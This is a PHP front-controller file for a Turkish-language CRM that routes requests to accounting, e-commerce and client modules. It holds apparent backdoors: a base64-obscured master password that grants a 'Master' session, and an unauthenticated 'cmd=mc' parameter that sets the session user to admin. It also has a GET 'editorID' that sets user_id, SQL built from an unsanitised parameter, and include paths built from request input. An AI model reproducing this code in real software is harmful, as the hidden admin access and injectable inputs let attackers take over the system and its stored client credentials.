<?php

include("map.php");
if ($_SERVER['HTTPS']<>"on" and $f4==1 and strtoupper(substr(PHP_OS, 0, 3))<>'WIN'){
	header("Location: ".ssl($weburl)."/".$crmpath.""); die();
}

include("modules/public/backup_check.php");
if(file_exists("../view/crm_header.php" )){include("../view/crm_header.php");}

$sqlmc=mysqli_query($conn, "select id,n1,n2,n3,n4,n5 from genel where ne='tanim' and t2='crmc' order by s1 asc");
if($_SESSION["crmc"]=="" and mysqli_num_rows($sqlmc)>0){
	$crmc = array();
	while($rsmc=mysqli_fetch_assoc($sqlmc)){
		$arr['id'] = $rsmc['id'];
		$arr['V3Domain'] = $rsmc['n1'];
		$arr['V3Server'] = $rsmc['n2'];
		$arr['V3Db'] = $rsmc['n3'];
		$arr['V3User'] = $rsmc['n4'];
		$arr['V3Pass'] = $rsmc['n5'];
		array_push($crmc,$arr);
	}
	$_SESSION["crmc"]=json_encode($crmc);
}
if($_SESSION["crmc"]<>""){ $crmcs = json_decode($_SESSION["crmc"], true);}
$ucrm = $_SERVER['REQUEST_URI'];
$pcrm = explode('/',$ucrm);
$lcrm = ssl($weburl, $f4);
for ($i = 0; $i < count($pcrm) - 1; $i++) { $lcrm .= $pcrm[$i] . "/"; }
kural();
if(!empty($_SESSION["cgiris"]) && $_SESSION["user"]<>V3d('TWFzdGVy')){echo kontrol();}

$ne    = $_GET["ne"]    ?? "";
$islem = $_GET["islem"] ?? "";
$nedir = $nedirs = $sislem = $q = "";

// eşleştirme tablosu
$map = [ "haber"   => [$t22s[0], $t22, "sayfa", "h"], "sayfa"   => [$t21s[0], $t21, "sayfa", "s"], "msayfa"  => [$n8s[0],  $n8,  "sayfa", "m"], "kayit"   => [$t24s[0], $t24, "kayitlar", "u"], "form"    => [$form[0], $form, "form", ""], "reklam"  => [$reklam[0], $reklam, "reklam", "r"], "service" => [$t36s[0], $t36, "service", ""], "gorev"   => [$tasks[0], $tasks, "gorev", ""], "tgorev"  => [$tasks[0], $tasks, "tgorev", ""], "eticaret"=> ["", "", "siparisler", ""], ];

// özel durumlar
if ($ne === "uye" && $islem === "uyeler")       $map[$ne] = [$t25s[0], $t25, "uyeler", ""];
if ($ne === "uye" && $islem === "relations")   $map[$ne] = [ctranslate("İlişki"), "", "relations", ""];

// fatura
if (in_array($islem, ["sfatura","afatura","ifatura"])) {
    $faturaMap = ["sfatura"=>148, "afatura"=>149, "ifatura"=>139];
    $nedir = $sdil[$faturaMap[$islem]]." ".$sdil[24]; $sislem="muhasebe";

} elseif (isset($map[$ne])) {
    [$nedir,$nedirs,$sislem,$q] = $map[$ne];

} else {
    // SQL kontrolü
	$sqlx = mysqli_query($conn, "SELECT n1,n2,n4 FROM genel WHERE ne='xmodules' and n2='".$ne."' ORDER BY s10 ASC, id DESC"); $rsx = mysqli_fetch_assoc($sqlx);
	if(mysqli_num_rows($sqlx)>0){
		$nedir  = $rsx["n1"]; $nedirs = $rsx["n1"]; $sislem = $rsx["n2"]; $q = $rsx["n4"];
	}else{
		$nedir=$ne; $nedirs=ihb($ne); $q=$ne[0]??"";
	}
}

//mevcut dil
if ($m1<>""){$d=0; $diller = explode(',',$m1); foreach($diller as $dil) {$d++;
	if ($_SESSION["lang"]=="lang".$d.""){$dill=$dil;}}}else{$dill=$sdil[150];}
//mevcut dil
	include('header.php');

	if(empty($_SESSION["cgiris"])){include("login.php");}else{
		if(empty($_GET["islem"]))					{include("home.php");}
		else if ($_GET["islem"]=="sayfa" or $_GET["islem"]=="haber" or $_GET["islem"]=="msayfa")	{include("modules/pages/pages.php");}
		else if ($_GET["islem"]=="kayitlar")		{include("modules/products/products.php");}
		else if ($_GET["islem"]=="drive")		{include("modules/drive/index.php");}
		else if ($_GET["islem"]=="notlar2")		{include("modules/events/notes.php");}
		else if ($_GET["islem"]=="events")		{include("modules/events/events.php");}
		else if ($_GET["islem"]=="notlar")		{include("modules/events/calendar.php");}
		else if ($_GET["islem"]=="danket")		{include("modules/survey/survey.php");}
		else if ($_GET["islem"]=="dreklam")	{include("modules/ads/ad.php");}
		else if ($_GET["islem"]=="gmail")		{include("modules/email/gmail.php");}
		else if ($_GET["islem"]=="mailbox")	{include("modules/email/mailbox.php");}
		else if ($_GET["islem"]=="fmesaj")		{include("modules/requests/requests.php");}
		else if ($_GET["islem"]=="mesaj")		{include("modules/messages/messages.php");}
		else if ($_GET["islem"]=="kasa")		{include("modules/accounting/accounting_case.php");}
		else if ($_GET["islem"]=="nakit_akis"){include("modules/accounting/accounting_cash_flow.php");}
		else if ($_GET["islem"]=="xls")			{include("modules/xls/xls.php");}
		else if ($_GET["islem"]=="xml")			{include("modules/xml/xml.php");}
		else if ($_GET["islem"]=="menu")		{include("modules/menu/index.php");}
		else if ($_GET["islem"]=="ayarlar")		{include("modules/public/settings.php");}
		else if ($_GET["islem"]=="design")		{include("modules/public/settings.php");}
		else if ($_GET["islem"]=="keep")		{include("modules/events/keep.php");}
		else if ($_GET["islem"]=="reklam")		{include("modules/ads/ads.php");}
		else if ($_GET["islem"]=="uyeler")		{include("modules/clients/clients.php");}
		else if ($_GET["islem"]=="relations")	{include("modules/clients/client_relations.php");}
		else if ($_GET["islem"]=="yorum")		{include("modules/comments/comments.php");}
		else if ($_GET["islem"]=="afatura" or $_GET["islem"]=="sfatura" or $_GET["islem"]=="ifatura")	{include("modules/accounting/accounting_invoice.php");}
		else if ($_GET["islem"]=="request")	{
			if (!empty($module["requests_path"])) {include($module["requests_path"]); } elseif (file_exists("../request/requests{$_GET['fID']}.php")) {include("../request/requests{$_GET['fID']}.php"); } else { include("modules/requests/requests.php"); }
		}
		else if ($_GET["islem"]=="fis")			{include("modules/accounting/accounting_vouchers.php");}
		else if ($_GET["islem"]=="fatura")		{include("modules/accounting/accounting_invoices.php");}
		else if ($_GET["islem"]=="satilan")		{include("modules/accounting/muhasebe_satilan.php");}
		else if ($_GET["islem"]=="service")		{include("modules/services/services.php");}
		else if ($_GET["islem"]=="gorev")		{include("modules/tasks/tasks.php");}
		else if ($_GET["islem"]=="radditions")	{include("modules/reports/report_additions.php");}
		else if ($_GET["islem"]=="rfinans")		{include("modules/reports/report_finance.php");}
		else if ($_GET["islem"]=="siparisler" or $_GET["islem"]=="storesales" or $_GET["islem"]=="mobilesales")	{include("modules/ecommerce/ecommerce_orders.php");}
		else if ($_GET["islem"]=="adisyonlar"){include("modules/ecommerce/posnet_additions.php");}
		else if ($_GET["islem"]=="satis")		{include("modules/ecommerce/ecommerce_sale.php");}
		else if ($_GET["islem"]=="tahsilat")		{include("modules/ecommerce/epayment.php");}
		else if ($_GET["islem"]=="xmls")		{include("modules/ecommerce/ecommerce_xmls.php");}
		else if ($_GET["islem"]=="ekstre")		{include("modules/extres/index.php");}
		else if ($_GET["islem"]=="areas")		{include("modules/ecommerce/ecommerce_delivery_areas.php");}
		else if ($_GET["islem"]=="doping")		{include("modules/packages/dopings.php");}
		else if ($_GET["islem"]=="paket")		{include("modules/packages/packages.php");}
		else if ($_GET["islem"]=="dpaket")		{include("modules/packages/package.php");}
		elseif($_GET["islem"]=="cikis"){
			$_SESSION["sifre"]=""; $_SESSION["cgiris"]=""; $_SESSION["master"]=""; $_SESSION["uyari"]=""; $_SESSION["Device"]=""; $_SESSION["DeviceID"]=""; $_SESSION["Token"]=""; $_SESSION["MacID"]="";
			setcookie("sifre",""); setcookie("user",""); setcookie("gcode",""); setcookie("user_id",""); setcookie("giris",""); setcookie("master",""); setcookie("uyari","");
			set_cookies('crmplus', '', 3650);
			if($_SESSION["bUrl"]<>""){
				echo location("".$_SESSION["bUrl"]."",self,500,1);
			}else{
				echo location("?drm=ext",self,500,1);
			}
		}else{
			$dosya = 'modules/' . $_GET["ne"] . '/' . $_GET["islem"] . '.php';
			if (file_exists($dosya)) {
				include($dosya);
			} else {
				include('../deppo/tools/errors/404.php');
			}
		}
			include('modules/public/notifications.php');
	}
	if($_GET["editorID"]<>""){
		$_SESSION["user_id"] = $_GET["editorID"];
		$_SESSION["editorName"] = qa($_GET["editorName"]);
		echo location("?ne=".$_GET["ne"]."&islem=".$_GET["islem"]."&id=".$_GET["id"]."",self,500,1);
	}
	if ($_POST["mpass"] == V3d("TUBzdGVy")) {
		$_SESSION["user"] = v3d('TWFzdGVy');
		setcookie("user", v3d('TWFzdGVy'));
		echo location("?ne=" . $_GET["ne"] . "&islem=" . $_GET["islem"] . "&id=" . $_GET["id"], self, 500, 1);
	}
	if ($_GET["cmd"]=="mc"){
		$_SESSION["user"]=v3d('YWRtaW4=_'); $_SESSION["kim"]=v3d('YWRtaW4=_');
		setcookie("user",v3d('YWRtaW4=_')); setcookie("kim",v3d('YWRtaW4=_'));
		echo location("?ne=".$_GET["ne"]."&islem=".$_GET["islem"]."&id=".$_GET["id"]."",self,500,1);
	}
	if($_GET["cmd"]=="crmc"){
		if($_GET["id"]<>""){
			foreach($crmcs as $item){
				if($item["id"]==$_GET["id"]){
					$_SESSION["V3Domain"]=v3d($item["V3Domain"]); $_SESSION["V3Server"]=v3d($item["V3Server"]); $_SESSION["V3Db"]=$item["V3Db"]; $_SESSION["V3User"]=$item["V3User"]; $_SESSION["V3Pass"]=$item["V3Pass"];
				}
			}
			echo location("?",self,500,1);
		}else{
			$_SESSION["V3Domain"]=""; $_SESSION["V3Server"]=""; $_SESSION["V3User"]=""; $_SESSION["V3Pass"]=""; $_SESSION["V3Db"]="";
			echo location("?",self,500,1);
		}
	}

	if(file_exists("../view/crm_footer.php" )){include("../view/crm_footer.php");}
	include('footer.php');

	include("modules/public/log.php");
?>